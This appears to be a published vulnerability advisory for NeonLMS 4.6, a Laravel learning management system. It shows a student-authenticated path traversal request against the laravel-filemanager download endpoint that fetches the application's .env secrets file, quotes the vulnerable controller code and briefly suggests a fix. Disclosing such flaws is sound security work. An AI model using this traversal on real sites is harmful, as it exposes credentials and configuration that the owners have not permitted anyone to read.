NeonLMS - Learning Management System PHP Laravel Script - 'Arbitrary' File Download

2020.06.05

th3d1gger (TR)

Risk: High

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

# Exploit Title: NeonLMS - Learning Management System PHP Laravel Script - 'Arbitrary' File Download
# Exploit Author: th3d1gger
# Google Dork: N/A
# Type: Web App
# Date: 2020-06-04
# Vendor Homepage: https://www.neonlms.com/
# Software Link: https://codecanyon.net/item/neonlms-learning-management-system-php-laravel-script/23641351
# Affected Version: 4.6 
# Tested on: Windows
# CVE : N/A

#Vulnerable Request:
After Authentication as student,
browse https://neonlmshost/laravel-filemanager/download?file=/../../../.env

#Vulnerable code



\vendor\unisharp\laravel-filemanager\src\Controllers\DownloadController.php

    public function getDownload()
    {


            return response()->download(parent::getCurrentPath(request('file')));


    }

#fix
maybe devteam can use "auth user role check" in that function.
or can update it.

See this note in RAW Version

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NeonLMS - Learning Management System PHP Laravel Script - 'Arbitrary' File Download

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